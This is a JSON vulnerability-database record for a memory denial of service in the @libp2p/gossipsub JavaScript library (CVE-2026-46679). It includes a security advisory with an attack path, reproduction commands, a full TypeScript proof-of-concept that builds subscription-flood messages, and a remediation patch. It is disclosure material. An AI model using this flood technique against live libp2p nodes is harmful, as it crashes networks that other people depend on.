{"id":"GHSA-4f8r-922h-2vgv","revision":null,"records":[{"revision":"44ddfc2f26794d7b97244622e6fc28eb","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-46679","aliases":[],"title":"libp2p: Memory DoS via subscription flood of unique topics","description":"libp2p is a JavaScript Implementation of libp2p networking stack. Prior to version 15.0.23, three cooperating omissions in @libp2p/gossipsub allow an unauthenticated single peer to exhaust the Node.js heap of any gossipsub node with default options. This issue has been patched in version 15.0.23.","state":0,"publishedAt":"2026-06-10T21:08:52.464+00:00","modifiedAt":"2026-06-11T14:18:41.039+00:00","affected":[{"ecosystem":"Vendor product","name":"js-libp2p","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"libp2p\",\n                    \"product\": \"js-libp2p\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 15.0.23\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/libp2p/js-libp2p/security/advisories/GHSA-4f8r-922h-2vgv"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-46679","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-46679","identifiers":["CVE-2026-46679"]},"retained":false,"historicalAffected":[]},{"revision":"8e7e9dd86edc41149fa66c5dcabce924","observedAt":"2026-11-14T00:10:17.185+00:00","statement":{"source":"euvd","id":"EUVD-2026-36152","aliases":["CVE-2026-46679","GHSA-4f8r-922h-2vgv"],"title":"libp2p is a JavaScript Implementation of libp2p networking stack. Prior to version 15.0.23, three cooperating omissions in @libp2p/gossipsub allow an unauthenticated single peer to exhaust the Node.js heap of any gossipsub node with default…","description":"libp2p is a JavaScript Implementation of libp2p networking stack. Prior to version 15.0.23, three cooperating omissions in @libp2p/gossipsub allow an unauthenticated single peer to exhaust the Node.js heap of any gossipsub node with default options. This issue has been patched in version 15.0.23.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":null}],"references":["https://github.com/libp2p/js-libp2p/security/advisories/GHSA-4f8r-922h-2vgv"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-36152","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 10, 2026, 9:08:52 PM","dateUpdated":"Jun 11, 2026, 2:18:41 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-36152","identifiers":["EUVD-2026-36152","CVE-2026-46679","GHSA-4f8r-922h-2vgv"]},"retained":false,"historicalAffected":[]},{"revision":"2a11affe1e8e4ab4948db496c43cba0f","observedAt":"2026-10-25T12:17:20.277+00:00","statement":{"source":"nvd","id":"CVE-2026-46679","aliases":[],"title":"libp2p is a JavaScript Implementation of libp2p networking stack. Prior to version 15.0.23, three cooperating omissions in @libp2p/gossipsub allow an unauthenticated single peer to exhaust the Node.js heap of any gossipsub node with default…","description":"libp2p is a JavaScript Implementation of libp2p networking stack. Prior to version 15.0.23, three cooperating omissions in @libp2p/gossipsub allow an unauthenticated single peer to exhaust the Node.js heap of any gossipsub node with default options. This issue has been patched in version 15.0.23.","state":0,"publishedAt":"2026-06-10T22:17:00.3+00:00","modifiedAt":"2026-07-23T09:10:00.113+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/libp2p/js-libp2p/security/advisories/GHSA-4f8r-922h-2vgv"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46679","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-20","CWE-400","CWE-401"],"productCriteria":[],"sourceDates":{"published":"2026-06-10T22:17:00.300","lastModified":"2026-07-23T09:10:00.113"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-46679","identifiers":["CVE-2026-46679"]},"retained":false,"historicalAffected":[]},{"revision":"e53ceb7291c945f2bb0718c8b56194bb","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-4f8r-922h-2vgv","aliases":["CVE-2026-46679"],"title":"js-libp2p: Memory DoS via subscription flood of unique topics","description":"### Summary\nThree cooperating omissions in `@libp2p/gossipsub` allow an unauthenticated single peer to exhaust the Node.js heap of any gossipsub node with default options.\n\n1. **`defaultDecodeRpcLimits.maxSubscriptions = Infinity`** (`packages/gossipsub/src/message/decodeRpc.ts:11`): no decode-level cap on subscription entries per RPC.\n2. **`handleReceivedSubscription` is unbounded** (`gossipsub.ts:1009-1021`): every unique topic string creates a new `Map` entry + `Set` object in `this.topics` with no per-peer count limit.\n3. **`removePeer` leaves empty Sets** (`gossipsub.ts:782-784`): after peer disconnect, empty Sets are never deleted from `this.topics` thus memory is non-reclaimable within the process lifetime.\n\nA single 4MB LP frame carries 349,525 unique topic SUBSCRIBE entries. Each frame causes ~89MB of heap growth (~22x amplification). A Node.js process with a 1.5GB heap limit crashes after ~17 such frames (~68MB total attacker bandwidth, achievable in ~5 seconds at 100Mbps).\n\n### Details\n#### Defect 1: `defaultDecodeRpcLimits.maxSubscriptions = Infinity` (`message/decodeRpc.ts:11`)\n\n```typescript                                                                                              \nexport const defaultDecodeRpcLimits: DecodeRPCLimits = {                                                   \n  maxSubscriptions: Infinity,   // <- no decode-level cap                                                   \n  // ...                                             \n}                                                    \n```\n\nPassed directly to the protobuf decoder at `gossipsub.ts:863`. A single RPC may decode 349,525 SUBSCRIBE entries within the 4MB LP frame with no error.\n\n#### Defect 2: `handleReceivedSubscription` unbounded growth (`gossipsub.ts:1009-1021`)\n\n```typescript                                        \nlet topicSet = this.topics.get(topic)\nif (topicSet == null) {\n  topicSet = new Set()\n  this.topics.set(topic, topicSet)   // new entry per unique topic, no count guard\n}\ntopicSet.add(from.toString())\n```\n\n`this.topics` (`Map<TopicStr, Set<PeerIdStr>>`, `gossipsub.ts:141`) has no size limit. No per-peer topic count is tracked. No heartbeat evicts unused entries. A comment at `gossipsub.ts:960` acknowledges the map is \"not bounded by topic count\", but only for the `allowedTopics != null` branch, the default is `null`.\n\n#### Defect 3: `removePeer` memory leak (`gossipsub.ts:782-784`)\n\n```typescript                                        \nfor (const peers of this.topics.values()) {\n  peers.delete(id)\n  // empty Set is NOT removed from this.topics\n} \n```\n\nAfter disconnect, `this.topics` retains N empty Sets, one per unique attacker topic. `stop()` (lines 575–602) clears 12 data structures but not `this.topics`. Memory is leaked for the process lifetime.\n\nSecondary: the O(topics.size) synchronous scan in `removePeer` grows as `this.topics` accumulates from repeated attacks. After 17 rounds, the scan iterates ~6M entries each time any peer disconnects.\n\n#### Attack path                                      \n\n1. Attacker dials victim and opens a gossipsub stream.\n2. Score 0 > `gossipThreshold = −10` thus subscriptions are processed immediately. No score check gates subscription handling.\n3. Attacker constructs an RPC: 349,525 SUBSCRIBE entries with sequential 6-char topics. Total encoded size: 4.00 MB.\n4. Victim's `handleReceivedRpc` calls `rpc.subscriptions.forEach(...)` → 349,525 calls to `handleReceivedSubscription` -> `this.topics` grows by 349,525 entries -> ~89MB heap consumed -> ~224ms event-loop blocked.\n5. Attacker reconnects. No score decay or penalty applies to subscription RPCs. Repeat.\n6. After ~17 rounds (68MB attacker bandwidth): Node.js OOM (Out-Of-Memory) crash.\n\n### PoC\n**Steps to reproduce** (confirmed unpatched at HEAD `9eb27be79`):\n\n```bash                                              \n$ git clone https://github.com/libp2p/js-libp2p.git\n$ cd js-libp2p                                         \n$ npm install                                          \n$ cd packages/gossipsub                                \n$ npx aegir build                                      \n$ node --experimental-vm-modules ../../node_modules/.bin/mocha 'dist/test/poc.js' --timeout 60000                                        \n```\n\nFile PoC:\n```typescript\n/* eslint-env mocha */\n\nimport { stop } from '@libp2p/interface'\nimport assert from 'node:assert'\nimport { performance } from 'node:perf_hooks'\nimport { RPC } from '../src/message/rpc.js'\nimport { createComponents, connectPubsubNodes } from './utils/create-pubsub.js'\nimport type { GossipSubAndComponents } from './utils/create-pubsub.js'\n\n// Number of unique topics per attack RPC (for direct injection tests).\n// Chosen to demonstrate impact without LP-framing; the ENCODE test shows\n// how many actually fit in one 4 MB frame.\nconst UNIQUE_TOPICS_PER_RPC = 349_000\n\n// Build a protobuf-encoded RPC with N unique SUBSCRIBE entries.\n// Uses minimal 2-char topic strings (\"00\"..\"zz\") to maximise packing.\n// SubOpts(subscribe=true, topic=2chars): 2 + (2+2) = 6 bytes per entry.\n// Outer RPC field: tag+len ≈ 2 bytes -> ~8 bytes total per subscription.\n// 4 MB / 8 bytes ≈ 524K subscriptions per frame.\nfunction buildSubscriptionFloodRpc (count: number): Uint8Array {\n  const subscriptions = Array.from({ length: count }, (_, i) => ({\n    subscribe: true,\n    // Sequential 6-char decimal topics: short but still unique\n    topic: i.toString().padStart(6, '0')\n  }))\n  return RPC.encode({ subscriptions, messages: [], control: undefined })\n}\n\n// Binary-search the exact number of unique 6-char topics that fit in 4 MB.\nfunction maxTopicsIn4MB (): number {\n  const MAX_LP_BYTES = 4 * 1024 * 1024\n  let lo = 1; let hi = 600_000\n  while (lo < hi) {\n    const mid = (lo + hi + 1) >> 1\n    if (buildSubscriptionFloodRpc(mid).byteLength <= MAX_LP_BYTES) {\n      lo = mid\n    } else {\n      hi = mid - 1\n    }\n  }\n  return lo\n}\n\ndescribe('PoC: Memory DoS via subscription flood of unique topics', function () {\n  this.timeout(60_000)\n\n  let victim: GossipSubAndComponents\n  let attacker: GossipSubAndComponents\n\n  beforeEach(async () => {\n    ;[victim, attacker] = await Promise.all([\n      createComponents({ init: { allowPublishToZeroTopicPeers: true } }),\n      createComponents({ init: { allowPublishToZeroTopicPeers: true } })\n    ])\n    await connectPubsubNodes(victim, attacker)\n  })\n\n  afterEach(async () => {\n    await stop(\n      victim.pubsub, attacker.pubsub,\n      ...Object.values(victim.components),\n      ...Object.values(attacker.components)\n    )\n  })\n\n  it('FLOOD: unique topic subscriptions accumulate unboundedly in this.topics', () => {\n    const victimPubsub = victim.pubsub as any\n    const attackerIdStr = attacker.components.peerId.toString()\n\n    const topicsBefore = victimPubsub.topics.size as number\n    const heapBefore = process.memoryUsage().heapUsed\n\n    // Simulate one round of subscription flood: inject UNIQUE_TOPICS_PER_RPC\n    // unique topics directly via handleReceivedSubscription (the exact function\n    // called synchronously from handleReceivedRpc for each decoded SubOpts entry).\n    const t0 = performance.now()\n    for (let i = 0; i < UNIQUE_TOPICS_PER_RPC; i++) {\n      victimPubsub.handleReceivedSubscription(\n        { toString: () => attackerIdStr } as any,\n        `poc-sub-flood-${i.toString().padStart(6, '0')}`,\n        true\n      )\n    }\n    const elapsed = performance.now() - t0\n\n    const topicsAfter = victimPubsub.topics.size as number\n    const heapAfterBytes = process.memoryUsage().heapUsed\n    const heapGrowthMB = (heapAfterBytes - heapBefore) / (1024 * 1024)\n    const newTopics = topicsAfter - topicsBefore\n\n    console.log(`\\n[PoC] Unique topics injected: ${UNIQUE_TOPICS_PER_RPC.toLocaleString()}`)\n    console.log(`[PoC] this.topics.size: ${topicsBefore} -> ${topicsAfter} (grew by ${newTopics.toLocaleString()})`)\n    console.log(`[PoC] Heap growth (approx): ${heapGrowthMB.toFixed(0)} MB`)\n    console.log(`[PoC] Time to process: ${elapsed.toFixed(0)} ms (event-loop blocked)`)\n    console.log(`[PoC] Amplification: ${(heapGrowthMB / 4).toFixed(1)}x (MB heap per MB of attacker traffic)`)\n\n    // All unique topics must be present in the map — no dedup for unique strings\n    assert.strictEqual(newTopics, UNIQUE_TOPICS_PER_RPC,\n      `expected this.topics to grow by ${UNIQUE_TOPICS_PER_RPC}, grew by ${newTopics}`)\n\n    // Must be non-trivial heap growth\n    assert.ok(heapGrowthMB > 20,\n      `expected >20 MB heap growth from ${UNIQUE_TOPICS_PER_RPC} unique topics, got ${heapGrowthMB.toFixed(0)} MB`)\n  })\n\n  it('PERSIST: empty Sets remain in this.topics after peer disconnect (no GC)', () => {\n    const victimPubsub = victim.pubsub as any\n    const attackerIdStr = attacker.components.peerId.toString()\n\n    // Flood with unique topics\n    for (let i = 0; i < UNIQUE_TOPICS_PER_RPC; i++) {\n      victimPubsub.handleReceivedSubscription(\n        { toString: () => attackerIdStr } as any,\n        `poc-persist-${i.toString().padStart(6, '0')}`,\n        true\n      )\n    }\n\n    const topicsBeforeDisconnect = victimPubsub.topics.size as number\n\n    // Simulate peer disconnect, this removes the peer ID from each Set but\n    // does NOT delete empty Sets from this.topics.\n    const tDisconnect = performance.now()\n    victimPubsub.removePeer(attacker.components.peerId)\n    const disconnectMs = performance.now() - tDisconnect\n\n    const topicsAfterDisconnect = victimPubsub.topics.size as number\n\n    console.log(`\\n[PoC] this.topics.size before disconnect: ${topicsBeforeDisconnect.toLocaleString()}`)\n    console.log(`[PoC] this.topics.size after  disconnect: ${topicsAfterDisconnect.toLocaleString()}`)\n    console.log(`[PoC] removePeer() took: ${disconnectMs.toFixed(0)} ms (synchronous O(topics.size) scan)`)\n    console.log(`[PoC] Empty Sets retained: ${topicsAfterDisconnect.toLocaleString()} -> memory not freed`)\n\n    // Topics Map is unchanged in SIZE — empty Sets persist\n    assert.strictEqual(topicsAfterDisconnect, topicsBeforeDisconnect,\n      `this.topics.size should be unchanged after disconnect (empty Sets persist); ` +\n      `was ${topicsBeforeDisconnect}, now ${topicsAfterDisconnect}`)\n\n    // removePeer O(N) scan should take non-trivial time with 349K entries\n    assert.ok(disconnectMs > 5,\n      `expected removePeer to take >5ms scanning ${topicsBeforeDisconnect} topics, got ${disconnectMs.toFixed(0)} ms`)\n\n    // Verify Sets are actually empty (peer removed from each)\n    let emptyCount = 0\n    for (const [, peers] of victimPubsub.topics) {\n      if ((peers as Set<string>).size === 0) emptyCount++\n    }\n    assert.ok(emptyCount >= UNIQUE_TOPICS_PER_RPC,\n      `expected ≥${UNIQUE_TOPICS_PER_RPC} empty Sets after disconnect, found ${emptyCount}`)\n  })\n\n  it('ENCODE: subscription flood RPC fits within 4 MB LP frame: confirms no LP-level protection', function () {\n    this.timeout(30_000)\n    const MAX_LP_BYTES = 4 * 1024 * 1024\n\n    // Find exact maximum with binary search\n    const maxCount = maxTopicsIn4MB()\n    const rpc = buildSubscriptionFloodRpc(maxCount)\n\n    const ampRatio = (maxCount * 260 / (1024 * 1024)) / 4\n\n    console.log(`\\n[PoC] Max subscriptions in 4 MB frame: ${maxCount.toLocaleString()}`)\n    console.log(`[PoC] Serialised RPC size:              ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB`)\n    console.log(`[PoC] LP frame limit:                   ${(MAX_LP_BYTES / (1024 * 1024)).toFixed(0)} MB`)\n    console.log(`[PoC] Fits in one frame:                ${rpc.byteLength <= MAX_LP_BYTES ? 'YES ✓' : 'NO ✗'}`)\n    console.log(`[PoC] defaultDecodeRpcLimits.maxSubscriptions = Infinity (no decode-level cap)`)\n    console.log(`[PoC] Heap growth per 4 MB sent: ~${Math.round(maxCount * 260 / (1024 * 1024))} MB (${ampRatio.toFixed(1)}x amplification)`)\n\n    assert.ok(rpc.byteLength <= MAX_LP_BYTES,\n      `crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default — confirms no LP-level protection`)\n    assert.ok(maxCount > 100_000,\n      `expected >100K subscriptions per 4 MB frame, got ${maxCount}`)\n  })\n})\n```\n\n### Impact\n- **Availability (memory)**: single peer, ~68MB bandwidth -> OOM crash in ~5s at 100Mbps. Non-recoverable within process lifetime thus memory never freed even if attacker disconnects.\n- **Availability (CPU)**: 224ms event-loop block per 4MB subscription RPC (synchronous `forEach`); grows with accumulated attack state.\n- **No score mitigation**: subscription processing has no score check and no score penalty for flooding.\n- **Affected deployments**: any node running `@libp2p/gossipsub` with default options that accepts inbound connections: Lodestar (Ethereum consensus), IPFS pubsub, any `createLibp2p({ services: { pubsub: gossipsub() } })`.\n- **Partial mitigation only**: setting `opts.allowedTopics` caps growth to `allowedTopics.size` topics per attacker; does not fix the memory leak for allowed topics or the O(N) `removePeer` scan.\n\n### Suggested remediation\nDelete empty Sets on unsubscribe and disconnect:\n\n```typescript\n// handleReceivedSubscription\n} else {\n  topicSet.delete(from.toString())\n  if (topicSet.size === 0) this.topics.delete(topic)\n}\n\n// removePeer\nfor (const [topic, peers] of this.topics) {\n  peers.delete(id)\n  if (peers.size === 0) this.topics.delete(topic)\n}\n```\n\nClear `this.topics` in `stop()`:\n\n```typescript\nthis.topics.clear()\n```","state":0,"publishedAt":"2026-05-21T21:38:40+00:00","modifiedAt":"2026-09-10T03:50:45.4015967+00:00","affected":[{"ecosystem":"npm","name":"@libp2p/gossipsub","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"15.0.23"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/libp2p/js-libp2p/security/advisories/GHSA-4f8r-922h-2vgv","https://nvd.nist.gov/vuln/detail/CVE-2026-46679","https://github.com/libp2p/js-libp2p"],"sourceUrl":"https://github.com/advisories/GHSA-4f8r-922h-2vgv","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-4f8r-922h-2vgv","identifiers":["GHSA-4f8r-922h-2vgv","CVE-2026-46679"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-15T10:02:17.3763497+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-15T10:02:17.3763497+00:00","lastSuccessAt":"2026-11-15T10:02:17.6058686+00:00","error":null,"lastVerifiedAt":"2026-11-15T10:02:17.6058701+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7de4d7559a5263003f03d9f70577ab06f92ba4178309f26fce53e22a4a959294-3113592d787b958ba87cf6300a2f439f8836169d49c36cdd65ca959c60a1acfe","complete":true,"records":425784,"lastAttemptAt":"2026-11-15T10:02:16.903149+00:00","lastSuccessAt":"2026-11-15T10:02:16.8893294+00:00","error":null,"lastVerifiedAt":"2026-11-15T10:02:16.903149+00:00","snapshotPublishedAt":"2026-11-15T09:28:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-ab7e83ec40d841f68d6d65c6dcc2aa85","complete":false,"records":13821,"lastAttemptAt":"2026-11-15T10:12:45.3805188+00:00","lastSuccessAt":"2026-11-15T10:12:45.374+00:00","error":"158 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-15T10:12:45.374+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13573,"expectedIdentifiers":13874,"failedIdentifiers":158},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-15T10:02:17.3763497+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-15T10:02:17.3763497+00:00","lastSuccessAt":"2026-11-15T10:02:17.760821+00:00","error":null,"lastVerifiedAt":"2026-11-15T10:02:17.7608224+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-d33b5144615b488f88b7a7390696bc39","complete":true,"records":13833,"lastAttemptAt":"2026-11-15T10:02:36.0431422+00:00","lastSuccessAt":"2026-11-15T10:02:36.038+00:00","error":null,"lastVerifiedAt":"2026-11-15T10:02:36.038+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13874,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-15T10:02:17.2383659+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-15T10:02:17.2383659+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-15T10:02:16.9649371+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-15T10:02:16.9649371+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-012aff9b2fb349d53e2c4bace6ca57956b6f5f9d82c1dc9fdc1c9b3c738f8977","complete":true,"records":3148,"lastAttemptAt":"2026-11-15T10:02:17.2553329+00:00","lastSuccessAt":"2026-11-14T04:57:03.8279646+00:00","error":null,"lastVerifiedAt":"2026-11-15T10:02:17.2553329+00:00","snapshotPublishedAt":"2026-11-14T03:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-878f718ccd076f540460423958c8e379b139b997b45858275573ecc4d702fe9a","complete":true,"records":232474,"lastAttemptAt":"2026-11-15T10:02:17.1321415+00:00","lastSuccessAt":"2026-11-15T05:33:06.8241102+00:00","error":null,"lastVerifiedAt":"2026-11-15T10:02:17.1321415+00:00","snapshotPublishedAt":"2026-11-15T04:33:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}